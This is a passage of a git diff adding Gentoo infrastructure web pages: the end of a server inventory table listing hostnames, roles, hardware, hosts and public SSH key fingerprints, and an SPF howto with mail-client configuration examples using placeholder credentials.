+		<ti>RSA $RSA DSA $DSA</ti>
+	</tr>
+	-->
+	<tr>
+		<ti>albatross*</ti>
+		<ti>rsync0.uk/rsync1.us/rsync1.ipv6, masterportage</ti>
+		<ti>master rsync</ti>
+		<ti>2x 2GHz Athlon 64 X2 3800+</ti>
+		<ti>2GB</ti>
+		<ti>2x 200GB SATA2 RAID1(md)</ti>
+		<ti>Bytemark Hosting</ti>
+		<ti>Manchester, England</ti>
+		<ti>RSA a5:78:82:95:76:e9:44:3d:a7:0c:f9:a2:af:7a:76:fe DSA 11:c4:f9:1b:16:9e:57:76:a7:36:1f:bc:07:a4:29:61</ti>
+	</tr>
+	<tr>
+		<ti>ani*</ti>
+		<ti>www-ani</ti>
+		<ti>www node (slave)</ti>
+		<ti>1.6GHz Intel Atom 230 (HT)</ti>
+		<ti>2GB</ti>
+		<ti>2x 100GB SATA2 RAID1(md)</ti>
+		<ti>Bytemark Hosting</ti>
+		<ti>Manchester, England</ti>
+		<ti>RSA b4:94:0c:0c:8a:f2:90:04:9a:40:93:14:74:af:ca:9d DSA 1d:fe:b3:de:33:e2:f6:f3:b2:9f:49:a5:58:4e:18:44</ti>
+	</tr>
+	<tr>
+		<ti>auklet*</ti>
+		<ti>www-auklet</ti>
+		<ti>www node (slave)</ti>
+		<ti>1.6GHz Intel Atom 230 (HT)</ti>
+		<ti>2GB</ti>
+		<ti>2x 100GB SATA2 RAID1(md)</ti>
+		<ti>Bytemark Hosting</ti>
+		<ti>Manchester, England</ti>
+		<ti>RSA e0:94:2a:bc:9e:6d:e2:68:7a:ff:49:fa:07:86:01:8f DSA 42:8b:4d:6f:f9:ca:3e:31:30:2a:3f:6a:c7:61:78:e0</ti>
+	</tr>
+	<tr>
+		<ti>barbet</ti>
+		<ti>bouncer, devmanual, packages</ti>
+		<ti>multiple www services</ti>
+		<ti>1.66GHz Intel Atom D510 (Dual Core w/HT)</ti>
+		<ti>4GB</ti>
+		<ti>2x 320GB SATA 3Gb/S RAID1(md)</ti>
+		<ti>Gentoo</ti>
+		<ti>Corvallis, OR</ti>
+		<ti>RSA d8:93:c0:9d:45:37:a7:b5:be:5a:09:eb:fc:2b:e3:d3 DSA f1:24:79:f3:d9:3c:9b:cf:3a:9b:9e:0f:75:fd:66:6f</ti>
+	</tr>
+	<tr>
+		<ti>bellbird</ti>
+		<ti></ti>
+		<ti>future cfengine master</ti>
+		<ti>1.66GHz Intel Atom D510 (Dual Core w/HT)</ti>
+		<ti>4GB</ti>
+		<ti>2x 320GB SATA 3Gb/S RAID1(md)</ti>
+		<ti>Gentoo</ti>
+		<ti>Corvallis, OR</ti>
+		<ti>RSA cd:85:dc:02:f0:3b:70:0f:63:0c:ac:37:d8:dd:80:63 DSA	f6:64:2a:70:22:7f:fd:82:21:65:4f:e0:b3:f9:dd:e1</ti>
+	</tr>
+	<tr>
+		<ti>bittern</ti>
+		<ti>ads, wiki</ti>
+		<ti>multiple www services</ti>
+		<ti>1.66GHz Intel Atom D510 (Dual Core w/HT)</ti>
+		<ti>4GB</ti>
+		<ti>2x 320GB SATA 3Gb/S RAID1(md)</ti>
+		<ti>Gentoo</ti>
+		<ti>Corvallis, OR</ti>
+		<ti>RSA b9:b6:35:22:f2:81:45:25:0b:53:93:7b:2e:3d:13:47 DSA 80:98:74:a5:8d:7b:ca:8d:58:40:3b:af:1a:09:f5:be</ti>
+	</tr>
+	<tr>
+		<ti>bluebird</ti>
+		<ti></ti>
+		<ti>future test deployments</ti>
+		<ti>1.66GHz Intel Atom D510 (Dual Core w/HT)</ti>
+		<ti>4GB</ti>
+		<ti>2x 320GB SATA 3Gb/S RAID1(md)</ti>
+		<ti>Gentoo</ti>
+		<ti>Corvallis, OR</ti>
+		<ti>RSA 68:c1:ad:63:a9:16:ac:3d:12:f0:06:d5:4b:5d:4d:71 DSA	b4:f4:3a:90:ba:81:a3:8e:84:94:08:aa:c1:39:d6:7d</ti>
+	</tr>
+	<tr>
+		<ti>bobolink</ti>
+		<ti>rsync</ti>
+		<ti>rsync server</ti>
+		<ti>1.66GHz Intel Atom D510 (Dual Core w/HT)</ti>
+		<ti>4GB</ti>
+		<ti>2x 320GB SATA 3Gb/S RAID1(md)</ti>
+		<ti>Gentoo</ti>
+		<ti>Corvallis, OR</ti>
+		<ti>RSA ac:5b:6e:59:bf:20:0a:a0:61:41:20:31:d0:d0:f6:73 DSA 2a:a4:1d:d2:12:cf:b1:89:60:83:46:ea:05:e3:58:cc</ti>
+	</tr>
+	<tr>
+		<ti>brambling</ti>
+		<ti></ti>
+		<ti></ti>
+		<ti>1.66GHz Intel Atom D510 (Dual Core w/HT)</ti>
+		<ti>4GB</ti>
+		<ti>2x 320GB SATA 3Gb/S RAID1(md)</ti>
+		<ti>Gentoo</ti>
+		<ti>Corvallis, OR</ti>
+		<ti>RSA f3:de:6f:5d:c0:4c:e2:c1:95:b9:90:4b:7f:08:0c:22 DSA 83:1b:de:0a:ad:c3:f8:d8:d2:41:8f:55:20:27:f1:c1</ti>
+	</tr>
+	<tr>
+		<ti>boobie</ti>
+		<ti>rsync</ti>
+		<ti>rsync server</ti>
+		<ti>2x 2.13GHz Xeon 3050</ti>
+		<ti>4GB</ti>
+		<ti>2x 150GB SATA2 RAID1(md)</ti>
+		<ti>EUKhost</ti>
+		<ti>Maidenhead, England</ti>
+		<ti>RSA b6:ed:af:ed:db:d2:68:ab:da:fb:41:73:ae:e5:cf:95 DSA 78:3c:6d:11:5c:2a:32:2a:99:d2:e5:7d:98:f8:36:6e</ti>
+	</tr>
+	<tr>
+		<ti>condor</ti>
+		<ti></ti>
+		<ti></ti>
+		<ti>2.8GHz Celeron</ti>
+		<ti>1GB</ti>
+		<ti>80GB SATA</ti>
+		<ti>Seven L. Networks</ti>
+		<ti>Toronto, Canada</ti>
+		<ti>RSA 62:62:88:76:9a:b5:3b:78:0d:01:26:6a:fe:55:57:f4 DSA 2b:51:01:43:23:e1:b2:f7:b1:e0:da:2f:8a:d8:e3:ee</ti>
+	</tr>
+	<tr>
+		<ti>corvid</ti>
+		<ti>ldap3</ti>
+		<ti>ldap3</ti>
+		<ti>2x 3.4GHz Pentium-D</ti>
+		<ti>4GB</ti>
+		<ti>2x 80GB SATA RAID1(md)</ti>
+		<ti>Seven L. Networks</ti>
+		<ti>Toronto, Canada</ti>
+		<ti>RSA 5a:82:0a:46:06:47:94:65:0a:23:01:f9:0d:43:6e:64 DSA a5:ac:76:55:27:ee:20:61:24:e0:4f:48:15:90:f1:34</ti>
+	</tr>
+
+	<tr>
+		<ti>crane</ti>
+		<ti>rsync</ti>
+		<ti>rsync server</ti>
+		<ti>2x 1.7GHz Xeon</ti>
+		<ti>2GB</ti>
+		<ti>2x 18GB U160 RAID1(md)</ti>
+		<ti>Indiana University</ti>
+		<ti>Indianapolis, IN</ti>
+		<ti>RSA f5:29:f3:42:2a:f3:8e:70:dc:8a:a1:17:1d:d7:f7:af DSA 88:08:ca:e5:d4:ba:ae:60:1a:40:1e:b7:7c:3b:01:c1</ti>
+	</tr>
+	<tr>
+		<ti>dove</ti>
+		<ti></ti>
+		<ti></ti>
+		<ti>2x 2.8GHz Xeon (HT)</ti>
+		<ti>2GB</ti>
+		<ti>5x 36GB SCSI RAID5(PERC 3/Di)</ti>
+		<ti>Open Source Lab</ti>
+		<ti>Corvallis, OR</ti>
+		<ti>RSA c5:6a:9b:32:15:0c:89:5e:a4:05:59:9d:ae:d1:83:27 DSA ef:c9:86:9d:a2:f9:79:83:d9:a2:c3:0a:66:cd:4c:9b</ti>
+	</tr>
+	<tr>
+		<ti>duck</ti>
+		<ti>ldap1, ldap2</ti>
+		<ti>ldap1, ldap2</ti>
+		<ti>2x 800MHz Pentium III</ti>
+		<ti>1.5GB</ti>
+		<ti>2x 9GB SCSI RAID1(LSI 53C1510)</ti>
+		<ti>Indiana University</ti>
+		<ti>Indianapolis, IN</ti>
+		<ti>RSA 87:b2:83:3b:ec:0c:9d:d7:6c:a9:fc:32:f4:a5:e8:23 DSA 5d:37:de:74:34:cb:7e:40:44:a3:5a:f6:ad:6e:60:eb</ti>
+	</tr>
+	<tr>
+		<ti>finch</ti>
+		<ti>archives, planet</ti>
+		<ti>www services</ti>
+		<ti>4x 1.8GHz Opteron 2210</ti>
+		<ti>4GB</ti>
+		<ti>2x 250GB SATA2 RAID1(md)</ti>
+		<ti>Gentoo</ti>
+		<ti>Corvallis, OR</ti>
+		<ti>RSA 3e:64:90:b3:93:ce:db:a4:b4:c0:30:9a:7d:2c:6a:cc DSA 6b:87:82:4b:b2:95:24:59:66:cf:41:64:eb:19:38:dd</ti>
+	</tr>
+	<tr>
+		<ti>flycatcher*</ti>
+		<ti>cvs, svn, git</ti>
+		<ti>CVS, SVN, Git</ti>
+		<ti>4x 2Ghz Xeon E5405</ti>
+		<ti>16GB</ti>
+		<ti>4x 147GB SAS RAID10(3ware 9690SA-4I)</ti>
+		<ti>SD-France.com</ti>
+		<ti>Saint-Denis, France</ti>
+		<ti>RSA 84:db:48:d1:39:45:a4:c8:f4:fd:6c:0d:fa:18:81:19 DSA de:2a:f2:63:4a:1e:67:e0:13:ab:1d:8a:0f:61:6e:e5</ti>
+	</tr>
+	<tr>
+		<ti>gannet</ti>
+		<ti>forums-web1, forumstest-web1</ti>
+		<ti>forums web #1</ti>
+		<ti>4x 2.4GHz Opteron 2216</ti>
+		<ti>8GB</ti>
+		<ti>2x 250GB SATA2 RAID1(md)</ti>
+		<ti>Gossamer Threads</ti>
+		<ti>Vancouver, Canada</ti>
+		<ti>RSA c0:c2:86:45:88:04:41:cd:68:86:2a:a2:f2:30:d3:1e DSA 1e:0d:40:81:be:76:ee:e9:61:ef:97:20:94:9b:fd:7c</ti>
+	</tr>
+	<tr>
+		<ti>godwit</ti>
+		<ti>forums-web2, forumstest-web2</ti>
+		<ti>forums web #2</ti>
+		<ti>4x 2.4GHz Opteron 2216</ti>
+		<ti>8GB</ti>
+		<ti>2x 250GB SATA2 RAID1(md)</ti>
+		<ti>Gossamer Threads</ti>
+		<ti>Vancouver, Canada</ti>
+		<ti>RSA 06:2c:b3:14:51:9b:b7:89:fe:d7:35:27:e4:79:0b:9a DSA 86:cc:4e:f1:17:95:b3:74:53:4c:d6:ab:81:6d:02:6a</ti>
+	</tr>
+	<tr>
+		<ti>grebe</ti>
+		<ti>forums-db1</ti>
+		<ti>forums db #1</ti>
+		<ti>8x 2.3GHz Opteron 2376</ti>
+		<ti>16GB</ti>
+		<ti>4x 147GB SAS RAID10(md)</ti>
+		<ti>Gossamer Threads</ti>
+		<ti>Vancouver, Canada</ti>
+		<ti>RSA fe:9a:cf:5c:e5:48:f2:e4:07:31:77:fb:9a:22:e2:a0 DSA f4:8e:23:5f:66:1d:f5:0d:7d:8a:de:1b:9d:bc:73:40</ti>
+	</tr>
+	<tr>
+		<ti>grouse</ti>
+		<ti>forums-db2</ti>
+		<ti>forums db #2</ti>
+		<ti>8x 2.3GHz Opteron 2376</ti>
+		<ti>16GB</ti>
+		<ti>4x 147GB SAS RAID10(md)</ti>
+		<ti>Gossamer Threads</ti>
+		<ti>Vancouver, Canada</ti>
+		<ti>RSA 2d:f8:80:b4:35:e6:bf:2b:42:1f:e8:d3:4b:c0:b3:6b DSA fb:9d:83:d8:e6:13:ab:5a:c9:15:f3:17:56:26:b1:23</ti>
+	</tr>
+	<tr>
+		<ti>hawk</ti>
+		<ti>rsync</ti>
+		<ti>rsync server</ti>
+		<ti>2.4GHz P4</ti>
+		<ti>2GB</ti>
+		<ti>40GB IDE</ti>
+		<ti>Indiana University</ti>
+		<ti>Indianapolis, IN</ti>
+		<ti>RSA e2:74:a2:56:b7:b3:c1:e6:54:9a:64:a5:65:ba:47:a6 DSA 6f:c4:d4:70:8f:5b:ac:de:d3:41:79:2d:0e:bc:92:0a</ti>
+	</tr>
+	<tr>
+		<ti>harrier</ti>
+		<ti>bugs-db1</ti>
+		<ti>Bugzilla DB #1</ti>
+		<ti>2.4GHz Opteron 250</ti>
+		<ti>16GB</ti>
+		<ti>4x147GB SCSI RAID10(HP Smart Array 6i)</ti>
+		<ti>Hyves.nl</ti>
+		<ti>Amsterdam, NL</ti>
+		<ti>RSA c1:39:af:55:5b:ca:54:ab:6d:91:7c:b7:8b:dc:ac:d6 DSA 0c:56:bf:9e:f4:49:40:89:0d:fb:02:e1:6d:4f:43:71</ti>
+	</tr>
+	<tr>
+		<ti>hen</ti>
+		<ti>bugs-db2</ti>
+		<ti>Bugzilla DB #2</ti>
+		<ti>2.4GHz Opteron 250</ti>
+		<ti>16GB</ti>
+		<ti>4x147GB SCSI RAID10(HP Smart Array 6i)</ti>
+		<ti>Hyves.nl</ti>
+		<ti>Amsterdam, NL</ti>
+		<ti>RSA 94:c7:c1:99:0f:78:ff:2c:90:c2:d7:72:f0:ee:2f:dc DSA f7:9f:b6:97:87:77:7c:4e:c5:bd:db:71:d6:35:3e:af</ti>
+	</tr>
+	<tr>
+		<ti>hornbill</ti>
+		<ti>bugs-web1, bugstest-web1</ti>
+		<ti>Bugzilla Web #1</ti>
+		<ti>2.2GHz Opteron 248</ti>
+		<ti>8GB</ti>
+		<ti>2x300GB SATA RAID1(md)</ti>
+		<ti>Hyves.nl</ti>
+		<ti>Amsterdam, NL</ti>
+		<ti>RSA cc:f7:ac:e3:a7:43:fb:b1:ed:80:ed:44:b9:58:fd:c3 DSA ca:76:82:94:02:59:42:81:34:89:2d:4f:84:23:97:91</ti>
+	</tr>
+	<tr>
+		<ti>hummingbird</ti>
+		<ti>bugs-web2, bugstest-web2</ti>
+		<ti>Bugzilla Web #2</ti>
+		<ti>2.2GHz Opteron 248</ti>
+		<ti>8GB</ti>
+		<ti>2x 300GB SATA RAID1(md)</ti>
+		<ti>Hyves.nl</ti>
+		<ti>Amsterdam, NL</ti>
+		<ti>RSA 56:71:b0:51:69:6c:17:b1:92:61:ce:95:60:80:ee:f5 DSA 87:ce:19:c0:5e:c5:1b:37:13:1e:ad:8b:bd:bb:05:94</ti>
+	</tr>
+	<tr>
+		<ti>kea</ti>
+		<ti></ti>
+		<ti>future EU master distfiles</ti>
+		<ti>2x 2.0GHz Core2 Xeon 5130</ti>
+		<ti>6GB</ti>
+		<ti>4x 300GB SAS RAID5(HP Smart Array E200i)</ti>
+		<ti>Torino Piemonte Internet eXchange (TOP-IX)</ti>
+		<ti>Torino, Italy</ti>
+		<ti>RSA ac:6a:ee:d4:14:dd:85:c3:b8:49:6e:e6:78:9f:c1:2a DSA dc:ec:c3:f0:b6:e2:8d:96:7c:9b:b0:47:0c:d0:8b:c4</ti>
+	</tr>
+	<tr>
+		<ti>lark</ti>
+		<ti></ti>
+		<ti>nagios, cacti, misc infra</ti>
+		<ti>2x 2.4GHz P4-Xeon (HT)</ti>
+		<ti>2GB</ti>
+		<ti>2x 36GB SCSI RAID1(md)</ti>
+		<ti>Open Source Lab</ti>
+		<ti>Corvallis, OR</ti>
+		<ti>RSA cc:59:2e:a0:c5:58:9a:45:9e:37:eb:c5:e2:e2:ed:fb DSA f2:04:72:6c:7a:80:81:c2:53:88:ed:94:f5:b6:92:03</ti>
+	</tr>
+	<tr>
+		<ti>loon</ti>
+		<ti>www-vr</ti>
+		<ti>www node (master)</ti>
+		<ti>2.8GHz P4</ti>
+		<ti>1GB</ti>
+		<ti>80GB IDE</ti>
+		<ti>vr.org</ti>
+		<ti>San Jose, CA</ti>
+		<ti>RSA 23:4c:e1:e0:03:b3:9d:aa:5c:39:b8:f4:da:e4:bc:b6 DSA 13:97:3e:55:cf:b7:fe:09:23:07:8a:f3:73:8b:64:06</ti>
+	</tr>
+	<tr>
+		<ti>magpie*</ti>
+		<ti>mirrorstats, rsync.ipv6</ti>
+		<ti>ipv6 public services</ti>
+		<ti>2.66GHz Intel Xeon X3330</ti>
+		<ti>4GB</ti>
+		<ti>2x 250GB SATA RAID1(3ware 9650SE-2LP)</ti>
+		<ti>vr.org</ti>
+		<ti>San Jose, CA</ti>
+		<ti>RSA cd:81:85:ae:d9:67:a1:83:08:2d:bc:fc:6f:86:68:f9 DSA ca:43:98:88:36:df:7b:fe:5f:3b:f2:4f:cc:c3:2e:20</ti>
+	</tr>
+	<tr>
+		<ti>motmot*</ti>
+		<ti>sources</ti>
+		<ti>backup anon, viewvc</ti>
+		<ti>2.66GHz Intel Xeon X3330</ti>
+		<ti>4GB</ti>
+		<ti>2x 250GB SATA RAID1(3ware 9650SE-2LP)</ti>
+		<ti>vr.org</ti>
+		<ti>San Jose, CA</ti>
+		<ti>RSA 95:14:a6:27:17:09:a2:49:f9:09:7a:3f:e9:9e:8e:b1 DSA 41:ed:0f:f3:50:82:61:e4:5d:9f:04:0f:7f:3c:2e:f1</ti>
+	</tr>
+	<tr>
+		<ti>osprey</ti>
+		<ti>masterrsync</ti>
+		<ti>master mirror</ti>
+		<ti>2GHz Opteron 246</ti>
+		<ti>2GB</ti>
+		<ti>2x 250GB IDE RAID1(md)</ti>
+		<ti>Open Source Lab</ti>
+		<ti>Corvallis, OR</ti>
+		<ti>RSA 9b:b8:cb:c3:29:35:87:0f:7a:0f:bb:9b:df:c9:e1:7f DSA 29:32:e9:65:bb:a9:c1:d8:97:95:75:dc:5c:0a:20:59</ti>
+	</tr>
+	<tr>
+		<ti>peacock*</ti>
+		<ti></ti>
+		<ti></ti>
+		<ti>2x 2.33Ghz Core2 E6550</ti>
+		<ti>4GB</ti>
+		<ti>750GB SATA2 RAID1(md)</ti>
+		<ti>Online Kredit Index</ti>
+		<ti>Roubaix, France</ti>
+		<ti>RSA f2:d7:26:40:ad:33:20:80:ee:29:39:2b:1e:26:f1:02 DSA 20:16:84:fd:b5:d6:56:77:ce:4a:51:34:6e:0e:80:ad</ti>
+	</tr>
+	<tr>
+		<ti>peafowl</ti>
+		<ti></ti>
+		<ti></ti>
+		<ti>4x 3.2Ghz Xeon</ti>
+		<ti>4GB</ti>
+		<ti>2x 72GB U320 SCSI RAID1(LSI 53C1030), IBM SAN (fibre-channel) 300GB LUN</ti>
+		<ti>Global Netoptex, Inc</ti>
+		<ti>San Francisco, CA</ti>
+		<ti>RSA 87:2a:46:3f:9d:b6:25:7d:36:48:0d:22:eb:f9:b3:02 DSA 20:24:e2:0b:42:ac:96:cc:46:be:49:04:4d:bf:2d:db</ti>
+	</tr>
+	<tr>
+		<ti>pelican</ti>
+		<ti>git.overlays, svn.overlays</ti>
+		<ti>overlays</ti>
+		<ti>2x 1.8GHz Opteron 1210</ti>
+		<ti>2GB</ti>
+		<ti>250GB SATA</ti>
+		<ti>Tek Alchemy, Inc.</ti>
+		<ti>Austin, TX</ti>
+		<ti>RSA f0:11:07:30:1a:04:06:7c:16:a6:a8:1c:7b:7e:45:9e DSA 8b:af:c7:76:93:23:24:c1:8d:b4:4d:cb:0f:df:70:84</ti>
+	</tr>
+	<tr>
+		<ti>pigeon</ti>
+		<ti>lists</ti>
+		<ti>lists</ti>
+		<ti>2x 3.4GHz Pentium-D</ti>
+		<ti>2GB</ti>
+		<ti>2x 160GB SATA RAID1(md)</ti>
+		<ti>Seven L. Networks</ti>
+		<ti>Toronto, Canada</ti>
+		<ti>RSA 6c:2d:a6:46:9f:f7:ab:33:da:ed:25:c5:77:63:dc:bd DSA d6:7f:c6:fd:89:38:ae:99:98:fd:21:54:8a:c5:6f:d3</ti>
+	</tr>
+	<tr>
+		<ti>pheasant</ti>
+		<ti>anon, anoncvs, anonsvn, anongit</ti>
+		<ti>anonymous access to CVS, SVN, Git</ti>
+		<ti>2.4GHz P4</ti>
+		<ti>2GB</ti>
+		<ti>40GB IDE, 80GB IDE</ti>
+		<ti>Indiana University</ti>
+		<ti>Indianapolis, IN</ti>
+		<ti>RSA a9:17:8c:d8:60:12:e7:82:ad:5e:b2:7b:fd:76:79:4a DSA e7:a4:90:58:a3:a8:4e:83:b3:c9:71:1b:cb:ea:09:2f</ti>
+	</tr>
+	<tr>
+		<ti>puffin</ti>
+		<ti>ldap4</ti>
+		<ti>ldap4</ti>
+		<ti>2.8GHz Xeon (HT), Xen-domU</ti>
+		<ti>256MB</ti>
+		<ti>7GB</ti>
+		<ti>Open Source Lab</ti>
+		<ti>Corvallis, OR</ti>
+		<ti>RSA ef:9d:2d:64:33:65:24:e0:22:0b:bb:9a:77:c0:51:86 DSA 60:89:65:9f:a2:42:d4:3a:9d:72:04:ea:45:62:50:33</ti>
+	</tr>
+	<tr>
+		<ti>raven</ti>
+		<ti>rsync</ti>
+		<ti>rsync server</ti>
+		<ti>2x 1.7GHz Xeon</ti>
+		<ti>2GB</ti>
+		<ti>18GB U160 SCSI</ti>
+		<ti>Indiana University</ti>
+		<ti>Indianapolis, IN</ti>
+		<ti>RSA f8:dc:ae:91:d2:ae:88:10:98:fa:18:44:00:b3:0a:a6 DSA ce:b6:38:23:91:47:b1:bd:f1:e7:bf:cd:0c:9d:d3:53</ti>
+	</tr>
+	<tr>
+		<ti>redtail</ti>
+		<ti></ti>
+		<ti>future master distfiles, infra stages4 and services</ti>
+		<ti>4x 2.4GHz Opteron 280</ti>
+		<ti>4GB</ti>
+		<ti>2x 72GB U320 SCSI RAID1(LSI 53C1030), IBM SAN (fibre-channel) 220GB LUN</ti>
+		<ti>Global Netoptex, Inc</ti>
+		<ti>San Francisco, CA</ti>
+		<ti>RSA 72:f5:11:49:3a:4b:5e:18:09:5f:76:0d:a7:fb:ab:c1 DSA e1:b4:81:2d:ef:e8:eb:7d:56:b6:b4:8d:3b:a4:8e:d0</ti>
+	</tr>
+	<tr>
+		<ti>sandpiper*</ti>
+		<ti></ti>
+		<ti></ti>
+		<ti>2.5Ghz Core2 Quad Q9300</ti>
+		<ti>8GB</ti>
+		<ti>2x 2TB SATA RAID1(md)</ti>
+		<ti>SD-France.com</ti>
+		<ti>Saint-Denis, France</ti>
+		<ti>RSA cf:05:f0:84:8d:28:3d:23:47:3e:2e:0c:81:84:06:2e DSA 30:cf:70:f0:cc:bc:8c:e9:73:f2:98:3c:92:4e:c9:4b</ti>
+	</tr>
+	<tr>
+		<ti>skimmer*</ti>
+		<ti></ti>
+		<ti></ti>
+		<ti>2.83Ghz Core2 Quad Q9550</ti>
+		<ti>8GB</ti>
+		<ti>2x 1TB SATA RAID1(3ware 9550SXU-4LP), 2x 60GB SSD RAID1(md)</ti>
+		<ti>SD-France.com</ti>
+		<ti>Saint-Denis, France</ti>
+		<ti>RSA b0:a9:dc:d2:71:cc:2b:7a:71:c3:0b:64:7d:16:20:a4 DSA c4:5f:40:34:6d:53:26:61:17:54:ab:f1:78:05:02:63</ti>
+	</tr>
+	<tr>
+		<ti>sparrow</ti>
+		<ti>torrents</ti>
+		<ti>bittorrent tracker</ti>
+		<ti>2.4GHz P4-Xeon (HT)</ti>
+		<ti>2GB</ti>
+		<ti>36GB U320</ti>
+		<ti>vr.org</ti>
+		<ti>San Jose, CA</ti>
+		<ti>RSA 51:1c:5c:54:6f:7a:01:a4:94:1d:7b:f5:ad:34:aa:9f DSA 18:cf:9f:66:b3:44:90:69:5a:fa:f8:79:cc:e0:c9:18</ti>
+	</tr>
+	<tr>
+		<ti>spoonbill*</ti>
+		<ti></ti>
+		<ti></ti>
+		<ti>2.4hz Core2 Quad Q6600</ti>
+		<ti>8GB</ti>
+		<ti>2x 500GB SATA RAID1(md)</ti>
+		<ti>SD-France.com</ti>
+		<ti>Saint-Denis, France</ti>
+		<ti>RSA 92:b5:40:16:63:a3:61:9f:d7:63:64:ba:d5:51:41:b9 DSA d6:71:99:1f:46:c9:42:95:e1:9d:be:8e:f7:76:51:b5</ti>
+	</tr>
+	<tr>
+		<ti>vireo*</ti>
+		<ti>rsync</ti>
+		<ti>loghost, backups, rsync server</ti>
+		<ti>2x AMD Athlon64 X2 5600+</ti>
+		<ti>2GB</ti>
+		<ti>2x 500GB SATA2 RAID1(md)</ti>
+		<ti>Hetzner Online AG</ti>
+		<ti>Nuernberg, Germany</ti>
+		<ti>RSA 20:36:a0:76:f5:3c:78:3e:f2:e9:cf:34:0a:e5:5a:8b DSA 78:e9:92:68:0a:bd:2f:42:fa:8e:52:31:6c:70:96:87</ti>
+	</tr>
+	<tr>
+		<ti>vulture</ti>
+		<ti>soc.dev</ti>
+		<ti>Summer of Code</ti>
+		<ti>4x 1.8GHz Opteron 2210</ti>
+		<ti>4GB</ti>
+		<ti>2x 500GB SATA2 RAID1(md)</ti>
+		<ti>Gentoo</ti>
+		<ti>Corvallis, OR</ti>
+		<ti>RSA a3:14:ff:95:35:f5:81:aa:76:30:46:08:ea:2c:e1:38 DSA bd:c1:a0:5f:38:68:48:5c:f4:9b:f2:af:36:7b:22:ac</ti>
+	</tr>
+	<tr>
+		<ti>woodpecker</ti>
+		<ti>dev, smtp</ti>
+		<ti>dev shell server, primary email server</ti>
+		<ti>2x 3GHz P4-Xeon (HT)</ti>
+		<ti>6GB</ti>
+		<ti>6x 146GB 10K SCSI U320 RAID5(HP Smart Array 6i)</ti><!-- 6x COMPAQ BD14689BB9 -->
+		<ti>Open Source Lab</ti>
+		<ti>Corvallis, OR</ti>
+		<ti>RSA d4:49:1b:e3:06:98:2e:b1:a8:61:8f:68:6b:fc:d8:34 DSA 18:b0:58:48:25:dc:43:de:cf:7a:03:8d:2d:8e:0b:9d</ti>
+	</tr>
+</table>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/infrastructure/spf-howto.xml b/xml/htdocs/proj/en/infrastructure/spf-howto.xml
new file mode 100644
index 00000000..17a4789a
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/spf-howto.xml
@@ -0,0 +1,143 @@
+<?xml version='1.0' encoding='UTF-8'?>
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/infrastructure/spf-howto.xml,v 1.1 2007/04/21 05:53:00 nightmorph Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/infrastructure/spf-howto.xml">
+
+<title>SPF Howto</title>
+
+<author title="Author">
+  <mail link="kloeri@gentoo.org">Bryan Østergaard</mail>
+</author>
+<author title="Editor">
+  <mail link="nightmorph@gentoo.org">Joshua Saddler</mail>
+</author>
+
+<abstract>
+A quick guide for dealing with Gentoo's Sender Policy Framework.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2007-04-12</date>
+
+<chapter>
+<title>SPF and Gentoo</title>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+Gentoo uses the Sender Policy Framework, or SPF, to filter forged @gentoo.org
+email, so it's important to configure your mail client or server correctly so it
+doesn't get filtered. The most important thing is that <c>MAIL FROM:</c> and
+your body <c>From:</c> needs to match and that you can't forge return-path. If
+you obey these rules you shouldn't have problems with SPF filtering your
+emails.
+</p>
+
+<p>
+Below are some configurations for a few common clients and mailers.
+</p>
+
+</body>
+</section>
+<section>
+<title>SSMTP</title>
+<body>
+
+<p>
+To forward all mail through mail.gentoo.org configure
+<path>/etc/ssmtp/ssmtp.conf</path> as follows:
+</p>
+
+<pre caption="Editing ssmtp.conf">
+mailhub=mail.gentoo.org:25
+AuthUser=username <comment>(Replace with your username)</comment>
+AuthPass=password <comment>(Replace with your ~/.asmtp password)</comment>
+AuthMethod=CRAM-MD5
+UseTLS=YES
+useSTARTTLS=YES
+</pre>
+
+</body>
+</section>
+<section>
+<title>Mutt</title>
+<body>
+
+<p>
+You can set your envelope from address in <path>~/muttrc</path> as follows:
+</p>
+
+<pre caption="Editing muttrc">
+envelope_from_address who@example.com
+use_envelope_from true
+</pre>
+
+</body>
+</section>
+<section>
+<title>Qmail</title>
+<body>
+
+<p>
+You can forward all your email through mail.gentoo.org using the
+<path>/var/qmail/control/smtproutes</path> file:
+</p>
+
+<pre caption="Editing smtproutes">
+:mail.gentoo.org USERNAME PASSWORD <comment>(Replace with your username/password)</comment>
+</pre>
+
+</body>
+</section>
+<section>
+<title>MSMTP</title>
+<body>
+
+<p>
+You can do per-account forwarding using <c>msmtp</c>. Configure
+<path>~/.msmtp</path> as follows:
+</p>
+
+<pre caption="Editing .msmtp">
+account default
+host mail.yourisp.com
+user johnsmith <comment>(Replace with your username)</comment>
+password spork <comment>(Replace with your password)</comment>
+tls
+</pre>
+
+<p>
+Next, configure your mail user agent to use <c>msmtp</c> for sending email. A
+sample <c>mutt</c> configuration follows:
+</p>
+
+<pre caption="Using msmtp with mutt">
+send2-hook . 'set sendmail="/path/to/msmtp"'
+send2-hook '~f gmx' 'set sendmail="/path/to/msmtp -a gmx"'
+macro index ,g '&lt;enter-command&gt;set sendmail="/path/to/msmtp -a gmx"&lt;enter&gt;' 'choose gmx smtp profile'
+</pre>
+
+</body>
+</section>
+<section>
+<title>Other user agents</title>
+<body>
+
+<p>
+For Thunderbird, Evolution and other MUAs (mail user agents), you can use
+<c>ssmtp</c> or another mail transfer agent (MTA) as described above to forward
+your mail through mail.gentoo.org.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/infrastructure/spf.xml b/xml/htdocs/proj/en/infrastructure/spf.xml
new file mode 100644
index 00000000..0db47166
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/spf.xml
@@ -0,0 +1,130 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link = "/proj/en/infrastructure/spf.xml">
+<title>SPF for Gentoo.org</title>
+<author title="Author">
+    <mail link="klieber" />
+    <mail link="robbat2" />
+</author>
+<abstract>
+This guide documents some of the reasons why (and how) Gentoo utilizes SPF.  
